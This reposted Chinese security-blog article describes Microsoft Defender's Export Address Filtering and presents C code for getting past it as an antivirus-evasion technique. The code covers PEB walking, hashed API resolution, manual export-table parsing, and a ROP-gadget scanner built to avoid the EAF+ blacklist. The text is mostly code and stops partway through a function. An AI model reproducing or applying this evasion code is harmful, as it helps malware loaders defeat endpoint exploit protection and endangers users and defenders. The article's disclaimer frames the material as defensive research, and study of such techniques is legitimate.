【免杀思路】Defender-EAF机制

admin 2026-04-16 03:56:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了MicrosoftDefender的EAF(ExportAddressFiltering)机制,这是一种针对内存攻击的深度防护技术。文章通过代码示例展示了EAF如何检测恶意软件通过非正常途径获取系统API地址的行为,并提供了两种绕过EAF的方法:直接使用系统API调用和利用Gadget技术。文档强调这些技术仅用于安全测试和防御研究。 综合评分: 82 文章分类: 恶意软件,免杀,红队,渗透测试,漏洞分析


cover_image

【免杀思路】Defender-EAF机制

原创

Hello888 Hello888

安全天书

2025年10月13日 21:04 广西

在小说阅读器读本章

去阅读

0x01 声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!

0x02 EAF

​​Defender EAF​​ 是 Microsoft Defender 中的一项高级安全功能,全称为 ​​Export Address Filtering​​(导出地址筛选)。这是一项针对内存攻击的深度防护技术。

基本定义

EAF 专门监控和阻止恶意软件通过非正常途径获取系统API地址的行为。它检测并阻止攻击者绕过正常的 GetProcAddress等API调用,直接解析内存中的导出表来获取函数地址。

防护目标

主要防范以下攻击技术:

  • API 哈希解析(API Hashing)
  • 动态导出表解析(Dynamic Export Parsing)
  • 无文件攻击(Fileless Attacks)
  • 进程注入(Process Injection)

启动方法

https://learn.microsoft.com/zh-cn/defender-endpoint/enable-exploit-protection

0x03 触发EAF

https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference?view=o365-worldwide#configuration-options-10

https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference?view=o365-worldwide#import-address-filtering-iaf

这个代码简单的展示了只要在导出表中访问特定函数就会触发EAF保护!

#include&nbsp;<Windows.h>#include&nbsp;<stddef.h>#include&nbsp;<cstdio>#include&nbsp;"ntdll.h"typedef&nbsp;struct&nbsp;_HOOK_FUNCTION&nbsp;{    PVOID pSleep;   PVOID pLoadLibraryA;    PVOID pVirtualAlloc;} HOOK_FUNCTION, * PHOOK_FUNCTION;typedef&nbsp;struct&nbsp;_HOOK_INSTANCE&nbsp;{    PVOID           pModule;    HOOK_FUNCTION wFunction;} HOOK_INSTANCE, * PHOOK_INSTANCE;typedef&nbsp;struct&nbsp;_MAIN_FUNCTION&nbsp;{    PVOID pCreateFileA; PVOID pGetFileSize; PVOID pReadFile;    PVOID pCloseHandle; PVOID pAddVectoredExceptionHandler; PVOID pGetCurrentThread;} MAIN_FUNCTION, * PMAIN_FUNCTION;typedef&nbsp;struct&nbsp;_MAIN_MODULE&nbsp;{  PVOID Kernel32; PVOID Ntdll;} MAIN_MODULE, * PMAIN_MODULE;typedef&nbsp;struct&nbsp;_MAIN_INSTANCE&nbsp;{    MAIN_MODULE     wModule;    MAIN_FUNCTION wFunction;} MAIN_INSTANCE, * PMAIN_INSTANCE;typedef&nbsp;struct&nbsp;_LOADER_INSTANCE&nbsp;{  MAIN_INSTANCE main; HOOK_INSTANCE hook;} LOADER_INSTANCE, * PLOADER_INSTANCE;LOADER_INSTANCE LdrInst = {&nbsp;0&nbsp;};PPEB&nbsp;GetCurrentPeb(){   return&nbsp;((PTEB)__readgsqword(0x30))->ProcessEnvironmentBlock;}DWORD&nbsp;HashStringDjb2W(LPCWSTR String){   ULONG Hash =&nbsp;5381; INT c =&nbsp;0; while&nbsp;(c = *String++)      Hash = ((Hash <<&nbsp;5) + Hash) + c;   return&nbsp;Hash;}DWORD&nbsp;HashStringDjb2A(LPCSTR String){    ULONG Hash =&nbsp;5381; INT c =&nbsp;0; while&nbsp;(c = *String++)      Hash = ((Hash <<&nbsp;5) + Hash) + c;   return&nbsp;Hash;}PVOID&nbsp;fnGetModuleHandle(DWORD dwHash){   PPEB pCurrentPeb =&nbsp;GetCurrentPeb();    PVOID pListParserFirstEntry = pCurrentPeb->Ldr->InLoadOrderModuleList.Flink;    PLIST_ENTRY pParser = (PLIST_ENTRY)pListParserFirstEntry;   if&nbsp;(dwHash ==&nbsp;NULL)   {       return&nbsp;((PLDR_DATA_TABLE_ENTRY)pParser)->DllBase;  }   else    {       do      {           PLDR_DATA_TABLE_ENTRY pTableEntry = (PLDR_DATA_TABLE_ENTRY)pParser;         if&nbsp;(dwHash ==&nbsp;HashStringDjb2W(pTableEntry->BaseDllName.Buffer))               return&nbsp;pTableEntry->DllBase;           pParser = pParser->Flink;       }&nbsp;while&nbsp;(pParser->Flink != pListParserFirstEntry);    }   return&nbsp;0;}//fnGetProcAddr会手动解析 PE 导出表(访问 IMAGE_EXPORT_DIRECTORY),这正是 EAF 的重点监控目标。替换这个函数也能绕过PVOID&nbsp;fnGetProcAddr(PVOID pModuleAddr, DWORD dwHash){  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pModuleAddr;  PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((UINT_PTR)pModuleAddr + pDosHeader->e_lfanew);    if&nbsp;(pNtHeader->Signature != IMAGE_NT_SIGNATURE)        return&nbsp;NULL;   PIMAGE_EXPORT_DIRECTORY pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((UINT_PTR)pModuleAddr + pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfFunctions);  PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfNames);  PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfNameOrdinals);  for&nbsp;(int&nbsp;i =&nbsp;0; i < pImgExportDirectory->NumberOfFunctions; i++) {       PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleAddr + pdwAddressOfNames[i]);     PVOID pFunctionAddress = (PBYTE)pModuleAddr + pdwAddressOfFunctions[pwAddressOfNameOrdinales[i]];       if&nbsp;(dwHash ==&nbsp;HashStringDjb2A(pczFunctionName))           return&nbsp;pFunctionAddress;   }   return&nbsp;NULL;}#define&nbsp;HASH_LoadLibraryA    0x5fbff0fb#define&nbsp;HASH_GlobalAddAtomW  0xE765E467#define&nbsp;HASH_CreateProcessW  0xAEB52E2FVOID&nbsp;InitInstanceHook(PHOOK_INSTANCE Inst){  Inst->pModule =&nbsp;fnGetModuleHandle(0x6ddb9555); printf("000");  Inst->wFunction.pLoadLibraryA =&nbsp;fnGetProcAddr(Inst->pModule, HASH_CreateProcessW); &nbsp;//不访问这个函数就不会触发    printf("\n111");    LPVOID &nbsp;GlobalA =&nbsp;fnGetProcAddr(Inst->pModule, HASH_GlobalAddAtomW);  printf("\n222");}int&nbsp;main()&nbsp;{ InitInstanceHook(&LdrInst.hook);    getchar();  return&nbsp;0;}

0x04 绕过-直接使用

#include&nbsp;<windows.h>#include&nbsp;<stdio.h>int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;// 1. 加载 user32.dll 库&nbsp; &nbsp; HMODULE hUser32 =&nbsp;LoadLibraryA("user32.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(hUser32 ==&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Failed to load user32.dll. Error: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 2. 获取 MessageBoxA 函数的地址&nbsp; &nbsp;&nbsp;typedef&nbsp;int&nbsp;(WINAPI* MessageBoxAPtr)(HWND, LPCSTR, LPCSTR, UINT);&nbsp; &nbsp; MessageBoxAPtr pMessageBoxA = (MessageBoxAPtr)GetProcAddress(hUser32,&nbsp;"MessageBoxA");&nbsp; &nbsp;&nbsp;if&nbsp;(pMessageBoxA ==&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Failed to get MessageBoxA address. Error: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FreeLibrary(hUser32);&nbsp;// 释放库&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 3. 调用 MessageBoxA 显示弹窗&nbsp; &nbsp;&nbsp;pMessageBoxA(NULL,&nbsp;"Hello, World!",&nbsp;"MessageBox Example", MB_OK | MB_ICONINFORMATION);&nbsp; &nbsp;&nbsp;// 4. 释放 user32.dll&nbsp; &nbsp;&nbsp;FreeLibrary(hUser32);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

绕过-Gadget

#include&nbsp;<Windows.h>#include&nbsp;<stddef.h>#include&nbsp;<stdio.h>#include&nbsp;"defs.h"int&nbsp;help_memcmp(const&nbsp;void* str1,&nbsp;const&nbsp;void* str2, size_t count){&nbsp; &nbsp;&nbsp;register&nbsp;const&nbsp;unsigned&nbsp;char* s1 = (const&nbsp;unsigned&nbsp;char*)str1;&nbsp; &nbsp;&nbsp;register&nbsp;const&nbsp;unsigned&nbsp;char* s2 = (const&nbsp;unsigned&nbsp;char*)str2;&nbsp; &nbsp;&nbsp;while&nbsp;(count-- >&nbsp;0)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(*s1++ != *s2++)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;s1[-1] < s2[-1] ?&nbsp;-1&nbsp;:&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}int&nbsp;find_mov_req_qword_ptr(char* pMem,&nbsp;int&nbsp;size,&nbsp;int* ptr_offset,&nbsp;char* negative) {&nbsp; &nbsp;&nbsp;int&nbsp;i =&nbsp;0;&nbsp; &nbsp;&nbsp;int&nbsp;offset =&nbsp;0;&nbsp; &nbsp;&nbsp;int&nbsp;max_gadget =&nbsp;8;&nbsp;// 48:8B80 A8160000 + c3&nbsp; &nbsp; BYTE mov_rax_qword_ptr[] = {&nbsp;'\x48','\x8b'&nbsp;};&nbsp; &nbsp;&nbsp;int&nbsp;mov_size =&nbsp;sizeof(mov_rax_qword_ptr);&nbsp; &nbsp;&nbsp;// 00007FF904638FD5 | 48:8B00 | mov rax,qword ptr ds:[rax]&nbsp; &nbsp;&nbsp;// 00007FF9046B2FB7 | 48:8B40 38 | mov rax,qword ptr ds:[rax+38]&nbsp; &nbsp;&nbsp;// 00007FF904687FF9 | 48:8B80 A8160000 | mov rax,qword ptr ds:[rax+16A8]&nbsp; &nbsp;&nbsp;/*&nbsp; &nbsp; 0x00000001800d7ff9 : mov rax, qword ptr [rax + 0x16a8] ; ret&nbsp; &nbsp; 0x0000000180070889 : mov rax, qword ptr [rax + 0x17b8] ; ret&nbsp; &nbsp; 0x0000000180088029 : mov rax, qword ptr [rax + 0x17c0] ; ret&nbsp; &nbsp; 0x0000000180102fb7 : mov rax, qword ptr [rax + 0x38] ; ret&nbsp; &nbsp; 0x0000000180002d39 : mov rax, qword ptr [rax + 0x60] ; ret&nbsp; &nbsp; 0x0000000180088fd5 : mov rax, qword ptr [rax] ; ret&nbsp; &nbsp; */&nbsp; &nbsp;&nbsp;// mov rax, qword ptr [rax] ; ret - this gadget would get caught by EAF+&nbsp; &nbsp;&nbsp;// Look for 48 8b, size - max_gadget to not cause access violation&nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; i < size - max_gadget; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!help_memcmp(pMem + i, mov_rax_qword_ptr, mov_size)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* gadget_memory = (pMem + i);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Now decide if it's the right gadget based on the third mov argument and ret opcode with cc after it&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// (There is probably a better way)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//short int first_bool = gadget_memory[2] == '\x00' && gadget_memory[3] == '\xc3' && gadget_memory[4] == '\xcc';&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// EAF+ blacklisted&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;short&nbsp;int&nbsp;second_bool = gadget_memory[2] ==&nbsp;'\x40'&nbsp;&& gadget_memory[4] ==&nbsp;'\xc3'&nbsp;&& gadget_memory[5] ==&nbsp;'\xcc';&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;short&nbsp;int&nbsp;third_bool = gadget_memory[2] ==&nbsp;'\x80'&nbsp;&& gadget_memory[7] ==&nbsp;'\xc3'&nbsp;&& gadget_memory[8] ==&nbsp;'\xcc';&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(second_bool || third_bool) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// We have one of the gadgets and now we need to figure out the outputs based on the third mov argument&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// There could be any registers or qword pointer to different registers&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;convert =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* convert_ptr = &convert;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;switch&nbsp;(gadget_memory[2]) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// EAF+ blacklisted&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/*case '\x00':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Basic gadget doesn't have any offset to the pointer&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // And the signess doesn't really matter&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset = 0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset = i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative = 0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;'\x40':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// We have a char size integer here&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// There can also be a negative value&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// There is definitely a better solution to this&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// But we just check if it's lower and if so set negative bool to yes&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// And abs() the convert value as char&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[0] = gadget_memory[3];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset = convert;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset = i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((char)gadget_memory[3] <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative =&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[0] = gadget_memory[3] *&nbsp;-1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset = convert;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;'\x80':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Here we have normal dword/int offset&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Use dummy int and byte by byte load it&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// And check negative as before&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[3] = gadget_memory[6];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[2] = gadget_memory[5];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[1] = gadget_memory[4];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; convert_ptr[0] = gadget_memory[3];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset = convert;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset = i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(convert <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative =&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset = convert *&nbsp;-1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;default:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Invalid mov instruction&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// We are done&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Well the thing is not a gadget so move on&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;offset;}int&nbsp;find_mov_qword_ptr_req(char* pMem,&nbsp;int&nbsp;size,&nbsp;int* ptr_offset,&nbsp;char* negative) {&nbsp; &nbsp;&nbsp;int&nbsp;i =&nbsp;0;&nbsp; &nbsp;&nbsp;int&nbsp;offset =&nbsp;0;&nbsp; &nbsp; BYTE mov_qword_ptr_rax[] = {&nbsp;'\x48','\x89','\x01','\xC3'&nbsp;};&nbsp; &nbsp;&nbsp;int&nbsp;mov_size =&nbsp;sizeof(mov_qword_ptr_rax);&nbsp; &nbsp;&nbsp;int&nbsp;max_gadget = mov_size;&nbsp; &nbsp;&nbsp;// 00007FF9020AD358 | 48:8901 | mov qword ptr ds:[rcx],rax&nbsp; &nbsp;&nbsp;/*&nbsp; &nbsp; 0x000000018008d358 : mov qword ptr [rcx], rax ; ret&nbsp; &nbsp; 0x000000018013d8b5 : mov qword ptr [rcx], rcx ; ret&nbsp; &nbsp; 0x000000018013d96a : mov qword ptr [r8], rdx ; ret&nbsp; &nbsp; 0x0000000180007af5 : mov qword ptr [r8], rcx ; ret&nbsp; &nbsp; */&nbsp; &nbsp;&nbsp;// Look for 48 89, size - max_gadget to not cause access violation&nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; i < size - max_gadget; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!help_memcmp(pMem + i, mov_qword_ptr_rax, mov_size)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset = i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_offset =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *negative =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;offset;}int&nbsp;help_strcmp_f(const&nbsp;char* target,&nbsp;const&nbsp;char* source){&nbsp; &nbsp;&nbsp;int&nbsp;i;&nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; source[i] == target[i]; i++)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(source[i] ==&nbsp;'\0')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;&nbsp; &nbsp;&nbsp;return&nbsp;source[i] - target[i];}void&nbsp;find_read_gadget_module(LPVOID module,&nbsp;char** gadget,&nbsp;int* gadget_offset,&nbsp;char* gadget_negative) {&nbsp; &nbsp; DWORD oldprotect =&nbsp;0;&nbsp; &nbsp; PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)module;&nbsp; &nbsp; PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)module + pImgDOSHead->e_lfanew);&nbsp; &nbsp;&nbsp;int&nbsp;i;&nbsp; &nbsp;&nbsp;// find .text section&nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {&nbsp; &nbsp; &nbsp; &nbsp; PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;text_section[] = {&nbsp;'.','t','e','x','t',0&nbsp;};&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!help_strcmp_f((char*)pImgSectionHead->Name, text_section)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;void* module_text_segment = (char*)module + pImgSectionHead->VirtualAddress;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;module_size = pImgSectionHead->Misc.VirtualSize;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;offset =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* gadget_return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget_return = (char*)module_text_segment + find_mov_req_qword_ptr(module_text_segment, module_size, &offset, &negative);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget_offset = offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget_negative = negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(gadget_return == module_text_segment) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// If the offset returned is zero then it means the gadget is not in the specified address range&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// We do this in case we would want to loop through others&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget =&nbsp;NULL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget = gadget_return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}short&nbsp;int&nbsp;find_read_gadget(rop_gadget* gadget) {&nbsp; &nbsp; PPEB peb =&nbsp;NULL;#if&nbsp;defined(_WIN64)&nbsp; &nbsp; peb = (PPEB)__readgsqword(0x60);#else&nbsp; &nbsp; peb = (PPEB)__readfsdword(0x30);#endif&nbsp; &nbsp; PPEB_LDR_DATA ldr = peb->Ldr;&nbsp; &nbsp; LIST_ENTRY list = ldr->InLoadOrderModuleList;&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY curr_module = Flink;&nbsp; &nbsp;&nbsp;while&nbsp;(curr_module !=&nbsp;NULL&nbsp;&& curr_module->BaseAddress !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(curr_module->BaseDllName.Buffer ==&nbsp;NULL)&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; size_t module_address = (size_t)curr_module->BaseAddress;&nbsp; &nbsp; &nbsp; &nbsp; rop_gadget temp_gadget;&nbsp; &nbsp; &nbsp; &nbsp; SecureZeroMemory(&temp_gadget,&nbsp;sizeof(temp_gadget));&nbsp; &nbsp; &nbsp; &nbsp; find_read_gadget_module((LPVOID)module_address, &temp_gadget.Address, &temp_gadget.Offset, &temp_gadget.Negative);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(temp_gadget.Address !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Address = temp_gadget.Address;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Offset = temp_gadget.Offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Negative = temp_gadget.Negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}void&nbsp;find_write_gadget_module(LPVOID module,&nbsp;char** gadget,&nbsp;int* gadget_offset,&nbsp;char* gadget_negative) {&nbsp; &nbsp; DWORD oldprotect =&nbsp;0;&nbsp; &nbsp; PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)module;&nbsp; &nbsp; PIMAGE_NT_HEADERS pImgNTHead = 